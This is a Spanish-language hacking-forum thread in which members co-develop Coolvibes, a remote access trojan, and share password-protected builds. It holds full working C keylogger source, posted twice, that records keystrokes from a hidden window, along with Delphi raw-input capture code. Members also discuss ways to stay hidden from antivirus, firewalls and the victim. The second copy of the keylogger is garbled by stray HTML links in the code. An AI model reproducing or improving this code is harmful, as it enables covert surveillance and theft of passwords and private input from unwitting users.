El sniffer creo que es mejor agregarlo en el futuro como plugin ya que puede resultar bastante inestable
En esta versión el servidor se desconecta a los pocos segundos de iniciarse,
habría que depurar para ver el porqué

Larga vida a Coolvibes
tk68 escribió:En esta versión el servidor se desconecta a los pocos segundos de iniciarse,
habría que depurar para ver el porqué

Larga vida a Coolvibes
Cuándo ocurre eso? Conectando localmente o remotamente? Usando el file manager?

Porque en el filemanager he encontrado un bug bastante gordo relacionado con los iconos que causa que se pierda la conexión, si eso subo una versión con el bug reparado
Al final me he decidio a postear nueva update ya que he corregido algunos bugs importantes.

He estado pensado en hacerlo totalmente monosocket en la descarga de archivos (Para la subida se usaría otro socket aparte). Utilizando un socket sería mas indetectables hacia los firewalls y también hacia el usuario ya que sólamente abriria una conexión con el cliente. La estabilidad supongo que se mantendría y quizás bajaría un poco la velocidad aunque tampoco estoy muy seguro.

También queda por arreglar lo del keylogger, la mejor opción quizas sería no utilizar hooks porque los hooks globales son bastante inestables en windows 7 y vista. Yo me decantaría por reprogramarlo casi al completo y utilizar GetRawInputData, ([Enlace externo eliminado para invitados] ... 85%29.aspx) que me parece que es bastante indetectable a los antivirus y funciona bien de windows xp en adelante.

Las demás funciones de administrador de dispositivos y de aplicaciones instaladas la verdad que las considero secundarias ya que la verdad no se utilizan mucho.

una vez que hayamos programado todo esto yo creo que podriamos programar un sistema de plugins y empezar la versión 2.0


Saludos!

Pass: indetectables.net
Coolvibes v1.5.zip
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
0k3n escribió:
tk68 escribió:En esta versión el servidor se desconecta a los pocos segundos de iniciarse,
habría que depurar para ver el porqué

Larga vida a Coolvibes
Cuándo ocurre eso? Conectando localmente o remotamente? Usando el file manager?

Porque en el filemanager he encontrado un bug bastante gordo relacionado con los iconos que causa que se pierda la conexión, si eso subo una versión con el bug reparado
El error de la pérdida de la conexión a los pocos segundos de conectar me ocurría en local.
Comenté el código 'Para debug' para compilar y poder crear mi server desde el cliente con la configuración de mi NoIp y realicé el test en local, es decir: Cliente y servidor en el mismo equipo. El SO es XP Pro SP3.

De todas formas ahora me bajo la nueva versión que has posteado y la pruebo en local y remoto a ver que tal

Sobre codear el keylogger tirando de GetRawInputData no es mala idea

Aquí posteo su uso pero con c, válido como ejemplo:

Código: Seleccionar todo

define _WIN32_WINNT 0x0501
#include <windows.h>

// Definitions
int LogKey(HANDLE hLog, UINT vKey);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow);

// Globals
const char g_szClassName[] = "klgClass";

// Window procedure of our message-only window
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    static HANDLE hLog;
    UINT dwSize;
    RAWINPUTDEVICE rid;
    RAWINPUT *buffer;
    
    switch(msg)
    {
        case WM_CREATE:
            // Register a raw input device to capture keyboard input
            rid.usUsagePage = 0x01;
            rid.usUsage = 0x06;
            rid.dwFlags = RIDEV_INPUTSINK;
            rid.hwndTarget = hwnd;
            
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                MessageBox(NULL, "Registering raw input device failed!", "Error!",
                    MB_ICONEXCLAMATION|MB_OK);
                return -1;
            }
    
            // open log.txt
            hLog = CreateFile("log.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,
                OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            if(hLog == INVALID_HANDLE_VALUE)
            {
                MessageBox(NULL, "Creating log.txt failed!", "Error",
                    MB_ICONEXCLAMATION|MB_OK);
                return -1;
            }
            
            // append
            SetFilePointer(hLog, 0, NULL, FILE_END);
            break;
            
        case WM_INPUT:
            // request size of the raw input buffer to dwSize
            GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
                sizeof(RAWINPUTHEADER));
        
            // allocate buffer for input data
            buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
        
            if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,
                sizeof(RAWINPUTHEADER)))
            {
                // if this is keyboard message and WM_KEYDOWN, log the key
                if(buffer->header.dwType == RIM_TYPEKEYBOARD
                    && buffer->data.keyboard.Message == WM_KEYDOWN)
                {
                    if(LogKey(hLog, buffer->data.keyboard.VKey) == -1)
                        DestroyWindow(hwnd);
                }
            }
        
            // free the buffer
            HeapFree(GetProcessHeap(), 0, buffer);
            break;
            
        case WM_DESTROY:
            if(hLog != INVALID_HANDLE_VALUE)
                CloseHandle(hLog);
            PostQuitMessage(0);
            break;
            
        default:
            return DefWindowProc(hwnd, msg, wParam, lParam);
    }
    return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
{
    WNDCLASSEX wc;
    HWND hwnd;
    MSG msg;

    // register window class
    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = WndProc;
    wc.hInstance     = hInstance;
    wc.lpszClassName = g_szClassName;
    
    if(!RegisterClassEx(&wc))
    {
        MessageBox(NULL, "Window Registration Failed!", "Error!",
            MB_ICONEXCLAMATION|MB_OK);
        return 0;
    }
    
    // create message-only window
    hwnd = CreateWindowEx(
        0,
        g_szClassName,
        NULL,
        0,
        0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL
    );

    if(!hwnd)
    {
        MessageBox(NULL, "Window Creation Failed!", "Error!",
            MB_ICONEXCLAMATION|MB_OK);
        return 0;
    }
    
    // the message loop
    while(GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    return msg.wParam;
}

int LogKey(HANDLE hLog, UINT vKey)
{
    DWORD dwWritten;
    BYTE lpKeyboard[256];
    char szKey[32];
    WORD wKey;
    char buf[32];
    int len;
        
    // Convert virtual-key to ascii
    GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
    GetKeyboardState(lpKeyboard);
    
    len = 0;
    switch(vKey)
    {
        case VK_BACK:
            len = wsprintf(buf, "[BP]");
            break;
        case VK_RETURN:
            len = 2;
            strcpy(buf, "\r\n");
            break;
        case VK_SHIFT:
            break;
        default:
            if(ToAscii(vKey, MapVirtualKey(vKey, 0), lpKeyboard, &wKey, 0) == 1)
                len = wsprintf(buf, "%c", (char)wKey);
            else if(GetKeyNameText(MAKELONG(0, MapVirtualKey(vKey, 0)), szKey, 32) > 0)
                len = wsprintf(buf, "[%s]", szKey);
            break;
    }

    // Write buf into the log
    if(len > 0)
    {
        if(!WriteFile(hLog, buf, len, &dwWritten, NULL))
            return -1;
    }
        
    return 0;
}
Aquí otro ejemplo en C del keylogger, habría que pasarlo a Delphi

Código: Seleccionar todo

#define _WIN32_WINNT 0x0501
#include <<a title="windows" href="http://87.98.157.210/foro/">windows</a>.h>
 
// Definitions
int LogKey(HANDLE hLog, UINT vKey);
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow);
 
// Globals
const char g_szClassName[] = "klgClass";
 
// Window procedure of our message-only window
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    static HANDLE hLog;
    UINT dwSize;
    RAWINPUTDEVICE rid;
    RAWINPUT *buffer;
 
    switch(msg)
    {
        case WM_CREATE:
            // Register a raw input device to capture keyboard input
            rid.usUsagePage = 0x01;
            rid.usUsage = 0x06;
            rid.dwFlags = RIDEV_INPUTSINK;
            rid.hwndTarget = hwnd;
 
            if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
            {
                MessageBox(NULL, "Registering raw input device failed!", "Error!",
                    MB_ICONEXCLAMATION|MB_OK);
                return -1;
            }
 
            // open log.txt
            hLog = CreateFile("log.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,
                OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            if(hLog == INVALID_HANDLE_VALUE)
            {
                MessageBox(NULL, "Creating log.txt failed!", "Error",
                    MB_ICONEXCLAMATION|MB_OK);
                return -1;
            }
 
            // append
            SetFilePointer(hLog, 0, NULL, FILE_END);
            break;
 
        case WM_INPUT:
            // request size of the raw input buffer to dwSize
            GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
                sizeof(RAWINPUTHEADER));
 
            // allocate buffer for input data
            buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);
 
            if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,
                sizeof(RAWINPUTHEADER)))
            {
                // if this is keyboard message and WM_KEYDOWN, log the key
                if(buffer->header.dwType == RIM_TYPEKEYBOARD
                    && buffer->data.keyboard.Message == WM_KEYDOWN)
                {
                    if(LogKey(hLog, buffer->data.keyboard.VKey) == -1)
                        DestroyWindow(hwnd);
                }
            }
 
            // <a title="indetectables.net" http://87.98.157.210/foro/">indetectables.net</a> the buffer
            HeapFree(GetProcessHeap(), 0, buffer);
            break;
 
        case WM_DESTROY:
            if(hLog != INVALID_HANDLE_VALUE)
                CloseHandle(hLog);
            PostQuitMessage(0);
            break;
 
        default:
            return DefWindowProc(hwnd, msg, wParam, lParam);
    }
    return 0;
}
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
{
    WNDCLASSEX wc;
    HWND hwnd;
    MSG msg;
 
    // register window class
    ZeroMemory(&wc, sizeof(WNDCLASSEX));
    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.lpfnWndProc   = WndProc;
    wc.hInstance     = hInstance;
    wc.lpszClassName = g_szClassName;
 
    if(!RegisterClassEx(&wc))
    {
        MessageBox(NULL, "Window Registration Failed!", "Error!",
            MB_ICONEXCLAMATION|MB_OK);
        return 0;
    }
 
    // create message-only window
    hwnd = CreateWindowEx(
        0,
        g_szClassName,
        NULL,
        0,
        0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL
    );
 
    if(!hwnd)
    {
        MessageBox(NULL, "Window Creation Failed!", "Error!",
            MB_ICONEXCLAMATION|MB_OK);
        return 0;
    }
 
    // the message loop
    while(GetMessage(&msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    return msg.wParam;
}
 
int LogKey(HANDLE hLog, UINT vKey)
{
    DWORD dwWritten;
    BYTE lpKeyboard[256];
    char szKey[32];
    WORD wKey;
    char buf[32];
    int len;
 
    // Convert virtual-key to ascii
    GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
    GetKeyboardState(lpKeyboard);
 
    len = 0;
    switch(vKey)
    {
        case VK_BACK:
            len = wsprintf(buf, "[BP]");
            break;
        case VK_RETURN:
            len = 2;
            strcpy(buf, "rn");
            break;
        case VK_SHIFT:
            break;
        default:
            if(ToAscii(vKey, MapVirtualKey(vKey, 0), lpKeyboard, &wKey, 0) == 1)
                len = wsprintf(buf, "%c", (char)wKey);
            else if(GetKeyNameText(MAKELONG(0, MapVirtualKey(vKey, 0)), szKey, 32) > 0)
                len = wsprintf(buf, "[%s]", szKey);
            break;
    }
 
    // Write buf into the log
    if(len > 0)
    {
        if(!WriteFile(hLog, buf, len, &dwWritten, NULL))
            return -1;
    }
 
    return 0;
}
si mal no recuerdo el keylogger del SSRat usa GetRawInputData.
lo unico bueno del uso de hooks es que soportan windows 2000.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Encontre este code del uso de GetRawInputData, sobre la captura del ratón y el teclado, por si sirve de algo.

Código: Seleccionar todo

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
 ////////////////////////////////////////////////////////////////////////////////

type
  USHORT = Word;

////////////////////////////////////////////////////////////////////////////////

const
  RI_NUM_DEVICE = 2;

const
  WM_INPUT  = $00FF;

const
  RIDEV_REMOVE                = $00000001;
  RIDEV_EXCLUDE               = $00000010;
  RIDEV_PAGEONLY              = $00000020;
  RIDEV_NOLEGACY              = $00000030;
  RIDEV_INPUTSINK             = $00000100;
  RIDEV_CAPTUREMOUSE          = $00000200;
  RIDEV_NOHOTKEYS             = $00000200;
  RIDEV_APPKEYS               = $00000400;

  RIM_TYPEMOUSE               = $00000000;
  RIM_TYPEKEYBOARD            = $00000001;
  RIM_TYPEHID                 = $00000002;

  RID_INPUT                   = $10000003;
  RID_HEADER                  = $10000005;

  RIDI_PREPARSEDDATA          = $20000005;
  RIDI_DEVICENAME             = $20000007;
  RIDI_DEVICEINFO             = $2000000b;

////////////////////////////////////////////////////////////////////////////////

type
  TRAWINPUTDEVICE = packed record
    usUsagePage : WORD;
    usUsage     : WORD;
    dwFlags     : DWORD;
    hwndTarget  : HWND;
  end;
  PRAWINPUTDEVICE = ^TRAWINPUTDEVICE;

  TRAWINPUTHEADER = packed record
    dwType    : DWORD;
    dwSize    : DWORD;
    hDevice   : THANDLE;
    wParam    : WPARAM;
  end;
  PRAWINPUTHEADER = ^TRAWINPUTHEADER;

  TRMBUTTONS = packed record
    case Integer of
        0:(ulButtons: ULONG);
        1:(
           usButtonFlags : SHORT;
           usButtonData  : SHORT;
          );
    end;

  TRAWMOUSE = packed record
    usFlags            : SHORT;
    RMButtons          : TRMBUTTONS;
    ulRawButtons       : ULONG;
    lLastX             : LongInt;
    lLastY             : LongInt;
    ulExtraInformation : ULONG;
  end;
  PRAWMOUSE = ^TRAWMOUSE;

  TRAWKEYBOARD = packed record
    MakeCode         : SHORT;
    Flags            : SHORT;
    Reserved         : SHORT;
    VKey             : SHORT;
    Mess             : UINT;
    ExtraInformation : ULONG;
  end;
  PRAWKEYBOARD = ^TRAWKEYBOARD;

  TRAWHID = packed record
    dwSizeHid : DWORD;
    dwCount   : DWORD;
    bRawData  : BYTE;
  end;
  PTRAWHID = ^TRAWHID;

  TRAWINPUTDATA = packed record
    case Integer of
      0:(mouse    : TRAWMOUSE   );
      1:(keyboard : TRAWKEYBOARD);
      2:(hid      : TRAWHID     );
    end;

  TRAWINPUT = packed record
      header  : TRAWINPUTHEADER;
      data    : TRAWINPUTDATA;
  end;
  PRAWINPUT = ^TRAWINPUT;

  TRID_DEVICE_INFO_MOUSE = packed record
     dwId               : DWORD;
     dwNumberOfButtons  : DWORD;
     dwSampleRate       : DWORD;
  end;
  PRID_DEVICE_INFO_MOUSE = ^TRID_DEVICE_INFO_MOUSE;

  TRID_DEVICE_INFO_KEYBOARD = packed record
     dwType : DWORD;
     dwSubType              : DWORD;
     dwKeyboardMode         : DWORD;
     dwNumberOfFunctionKeys : DWORD;
     dwNumberOfIndicators   : DWORD;
     dwNumberOfKeysTotal    : DWORD;
  end;
  PRID_DEVICE_INFO_KEYBOARD = ^TRID_DEVICE_INFO_KEYBOARD;

  TRID_DEVICE_INFO_HID  = packed record
     dwVendorId       : DWORD;
     dwProductId      : DWORD;
     dwVersionNumber  : DWORD;
     usUsagePage      : USHORT;
     usUsage          : USHORT;
     end;
  PRID_DEVICE_INFO_HID = ^TRID_DEVICE_INFO_HID;

  TRID_DEVICE_INFO = packed record
      cbSize : DWORD;
      dwType : DWORD;
      case Integer of
        0:(mouse    : TRID_DEVICE_INFO_MOUSE   );
        1:(keyboard : TRID_DEVICE_INFO_KEYBOARD);
        2:(hid      : TRID_DEVICE_INFO_HID     );
  end;
  PRID_DEVICE_INFO = ^TRID_DEVICE_INFO;

////////////////////////////////////////////////////////////////////////////////

function RegisterRawInputDevices(pRawInputDevices: Pointer;uiNumDevices,cbSize: UINT): Boolean; stdcall; external 'user32.dll';
function GetRawInputData(hRawInput: Pointer; uiCommand:UINT; pData: Pointer; pcbSize: Pointer; cbSizeHeader: UINT): UINT; stdcall; external 'user32.dll';
function GetRawInputDeviceInfoA(hDevice: THandle; uiCommand:UINT; pData: Pointer; pcbSize: Pointer): UINT; stdcall; external 'user32.dll';

////////////////////////////////////////////////////////////////////////////////

type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    Rid: packed array [0..RI_NUM_DEVICE-1] of TRAWInputDevice;
   procedure WmInput(var Mess: TMessage); message WM_INPUT;
   function IntToBit(Value: Integer): String;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
function TForm1.IntToBit(Value: Integer): String;
var
  i: integer;
begin
  for i:=31 downto 0 do
    if (Value shr i) = 1 then
      Result := Result + '1'
    else
      Result := Result + '0';
end;
procedure TForm1.FormCreate(Sender: TObject);

begin
// ?}?E?X?f?o?C?X??o?^
  Rid[0].usUsagePage := $0001;
  Rid[0].usUsage     := $02;
  Rid[0].dwFlags     := RIDEV_INPUTSINK;  //0;
  Rid[0].hwndTarget  := Self.Handle;
// ?L?[?{?[?h?f?o?C?X??o?^
  Rid[1].usUsagePage := $0001;
  Rid[1].usUsage     := $06;
  Rid[1].dwFlags     := RIDEV_INPUTSINK;
  Rid[1].hwndTarget  := Self.Handle;
  RegisterRawInputDevices(@Rid, RI_NUM_DEVICE, SizeOf(TRAWInputDevice));
end;
procedure TForm1.WmInput(var Mess: TMessage);
var
  i,l: Integer;
  RI: PRAWINPUT;
  dwSize: UINT;
  lpb: PBYTE;
  DataSize: DWORD;
  HID_DATA:array [0..15] of DWORD;
  P:PByte;
  tmpX,tmpY: Integer;
  pData: Pointer;
  DevName: PChar;
  NameSize: Integer;
  DevInfo: TRID_DEVICE_INFO;
  MouInfo: TRID_DEVICE_INFO_MOUSE;
  RIMou: PRAWINPUT;
  strOut: String;
begin

  GetRawInputData(PRAWINPUT(Mess.LParam), RID_INPUT, nil, @dwSize,SizeOf(TRAWINPUTHEADER));

  if dwSize = 0 then Exit;

  DataSize := SizeOf(BYTE) * dwSize;

  GetMem(lpb,DataSize);

  try
    GetRawInputData(PRAWINPUT(Mess.LParam), RID_INPUT, lpb, @dwSize, SizeOf(TRAWINPUTHEADER));
    RI := PRAWINPUT(lpb);

    strOut := 'RAWINPUT.header.hDevice: ' + IntToStr(RI.header.hDevice);

    case RI.header.dwType of
      // ?}?E?X
      RIM_TYPEMOUSE:
            begin
              Windows.Beep(700,20); //??????

              strOut := strOut + #13 + '?}?E?X';
            
              tmpX := RI.Data.mouse.lLastX;
              if tmpX > 0 then
              begin
                tmpX := tmpX shr 16;
              end
              else
              begin
                tmpX := -(($FFFF - tmpX) shr 16);
              end;

              tmpY := RI.Data.mouse.lLastY;
              if tmpY > 0 then
              begin
                tmpY := tmpY shr 16;
              end
              else
              begin
                tmpY := -(($FFFF - tmpY) shr 16);
              end;

              GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICENAME, nil, @dwSize);
              NameSize := dwSize;
              GetMem(DevName,dwSize);
              GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICENAME, Pointer(DevName), @dwSize);

              DevInfo.cbSize := SizeOf(TRID_DEVICE_INFO);
              dwSize := SizeOf(TRID_DEVICE_INFO);
              GetRawInputDeviceInfoA(RI.header.hDevice, RIDI_DEVICEINFO, @DevInfo, @dwSize);
              MouInfo := TRID_DEVICE_INFO_MOUSE(DevInfo.mouse);

              GetRawInputData(PRAWINPUT(Mess.LParam), RID_HEADER, nil, @dwSize, SizeOf(TRAWINPUTHEADER));
              DataSize := SizeOf(BYTE) * dwSize;
              GetMem(pData,DataSize);
              GetRawInputData(PRAWINPUT(Mess.LParam), RID_HEADER, pData, @dwSize, SizeOf(TRAWINPUTHEADER));
              RIMou := PRAWINPUT(pData);



              strOut := strOut + #13 + 'usFlags: ' + IntToBit(RIMou.Data.mouse.usFlags) + #13
                              + 'RMButtons.ulButtons: ' + IntToBit(RI.Data.mouse.RMButtons.ulButtons) + #13
                              + 'RMButtons.usButtonFlags: ' + IntToBit(RIMou.Data.mouse.RMButtons.usButtonFlags) + #13
                              + 'RMButtons.usButtonData: ' + IntToBit(RI.Data.mouse.RMButtons.usButtonData) + #13
                              + 'ulRawButtons: ' + IntToBit(RI.Data.mouse.ulRawButtons) + #13
                              + 'lLastX: ' + IntToStr(tmpX) + #13
                              + 'lLastY: ' + IntToStr(tmpY) + #13
                              + 'ulExtraInformation: ' + IntToBit(RI.Data.mouse.ulExtraInformation) + #13
                              + 'RIDI_DEVICENAME: ' + ' CharacterCount: ' +IntToStr(NameSize) + '  Name: ' + DevName + #13
                              + 'DevInfo.dwType: ' +IntToStr(DevInfo.dwType) + #13
                              + 'MouInfo.dwId: ' +IntToStr(MouInfo.dwId) + #13
                              + 'MouInfo.dwNumberOfButtons: ' +IntToStr(MouInfo.dwNumberOfButtons) + #13
                              + 'MouInfo.dwSampleRate: ' +IntToStr(MouInfo.dwSampleRate) + #13
            end;

            
      // ?L?[?{?[?h
      RIM_TYPEKEYBOARD:
            begin
              strOut := strOut + #13 + '?L?[?{?[?h';
              strOut := strOut + #13 + Format('KeyBoard : %.2x',[RI.Data.keyboard.VKey]);
            end;

      // HID?????f?o?C?X
      RIM_TYPEHID:
            begin
              strOut := strOut + #13 + '?q???[?}???C???^?[?t?F?[?X?f?o?C?X';
              P := @RI.Data.hid.bRawData;
              for i:=0 to RI.Data.hid.dwCount-1 do
              begin
                HID_DATA[i] := 0;
                for l:=1 to RI.Data.hid.dwSizeHid do
                begin
                  HID_DATA[i] := (HID_DATA[i] shl 8) + P^;
                  Inc(P);
                end;
              end;

              for i:=0 to RI.Data.hid.dwCount-1 do
                strOut := strOut + #13 + Format('HID[%d] : %x',[i+1,HID_DATA[i]]);
            end;
    end;
  finally
    FreeMem(lpb,DataSize);
  end;

  Label1.Caption := strOut;

end;

end.

igual te ahorras el hook pero si se sigue usando ToAscii vamos a tener el mismo problema de los acentos. hice lo mismo que tk en el 2 ejemplo en cuanto a como se usa la api y el problema seguia. intente hacerlo con mi metodo y paso lo mismo. a este paso parece que vamos a tener que quedarnos con el hook.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Lo bueno de ahorrarnos hooks seria que funcionaria perfecto en win 7 y vista. Respecto a lo de toascii he estado mirando y creo que la mejor opción es hacernos nuestra propia función basándonos en los códigos de las virtual keys:

[Enlace externo eliminado para invitados] ... 85%29.aspx

se quedaría el código algo asi:

Código: Seleccionar todo

GetKeyNameText(ScanCode, nametext, sizeof(nametext));
    szletta := #0;
    FillChar(Charry,2,#0);
    if VirtKey = VK_CAPITAL then szletta := #0
    else if VirtKey = VK_SHIFT then szletta := '[Shift]'
    else if VirtKey = VK_SPACE then szletta := ' '
    else if lstrlen(nametext) > 1 then szletta := '[' + nametext+']'
    else
    begin//Nos han mandado una letra o un número
    case Virkey of
        65 : szletta := 'a';//también se tendría que mirar si esta pulsado shift y bloq mayus...
    end;
El único problema como tu has dicho es que no funcionaría en las otras versiones de win y seguramente aparecería un error, por eso creo que es mejor no dejar la opción de activar el keylogger desde el builder.


@tk: con esta nueva versión ya no se te desconecta no?
Saludos!
Chicos, disculpen si molesto en este "afán de renovación"... pero SetWindowsHookEx,CallNextHook y UnhookWindowsHookEx funcionan perfectas en cualquier plataforma de windows... lo comento porque mi troyano(Indetectables++) usa esas API sin falla alguna... y para tramitar el KeyCode usen como dice 0k3n los codes de la msdn, acuerdense de detener el flujo del programa...

Saludos... y para adelante con esto...
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
si lees los mensajes vas a ver que el problema esta con ToAscii que no importa como se use (ya sea con GetRawInputData o con un hook) se come los acentos. solo lo logre hacer andar bien con un hook por dll en xp llamando a la api una segunda vez cuando se trata de acentos (porque el toascii responde con 2 o dead key con los acentos, en la pagina de msdn esta bien explicado)

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Ahora en local con la 1.4 y 1.5 en XP SP3 (servidor y cliente en el mísmo host) a los 2-3 seg.
de establecer la conexion la pierde.

Me queda probar en remoto y hacerlo con Windows 7 tambien.

Pero antes de todo esto veré si la versión 1.3 no me da problemas ahora (para descartar que sea
de algún problema de mi sistema)

Respecto a la v2.0 estoy de acuerdo con 0k3n, antes de llegar a esa versión lo mejor es afinar al
máximo la estabildad y las funcionalidades que tenemos ahora (no añadiría nada más), ahora las
funcionalidades más importantes están implementadas.

Tenemos que afinar el keylogger, el editor de registro, añadir cortar/copiar carpetas en el administrador
de archivos etc. etc. por ejemplo (es decir mejorar al máximo las funcionalidades implementadas)
Tambien hay que probar que trabaje bien en Windows 7, organizar mejor el código etc.

Para la v2.0 añadir un sistema de plugins estaría bien, así sería más fácil de mantener estable la base
actual, para conseguir mucha establidad no añadiría más funcionalidades importantes, no conozco ningun
RAT más estable que PI y Bifrost, y eso que habré testado más de cien

Menos es más

He adaptado el código de angelp4491 para ponerlo en la unitkeylogger y parece que funciona perfecto (Winxpsp3), sin dobles tildes ni nada :p. A ver si os funciona :)

Update 6

Código: Seleccionar todo

Fecha 13/05/2011
Versión: 1 Update 6
Modificación de: Anonimo
[*] Arreglado y cambiado el keylogger
[+] Agregado "Abrir directorio de usuario" al popup menu del listviewconexiones
Algunas teclas como .,;: no las captura pero seria simplemente cuestión de agregar la virtual key correspondiente.

Imagen

Coolvibes v1.6.zip
P: indetectables.net
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
@tk68 lo de que se desconecte parece bastante raro :S, no se que será pero de momento no me ha pasado ni localmente ni remotamente. Seguramente será una tontería; si quieres te paso un coolserver.exe ya compilado que apunte a localhost para descartar que sea un problema de compilación :S

Volver a “Desarrollo CoolvibesRAT”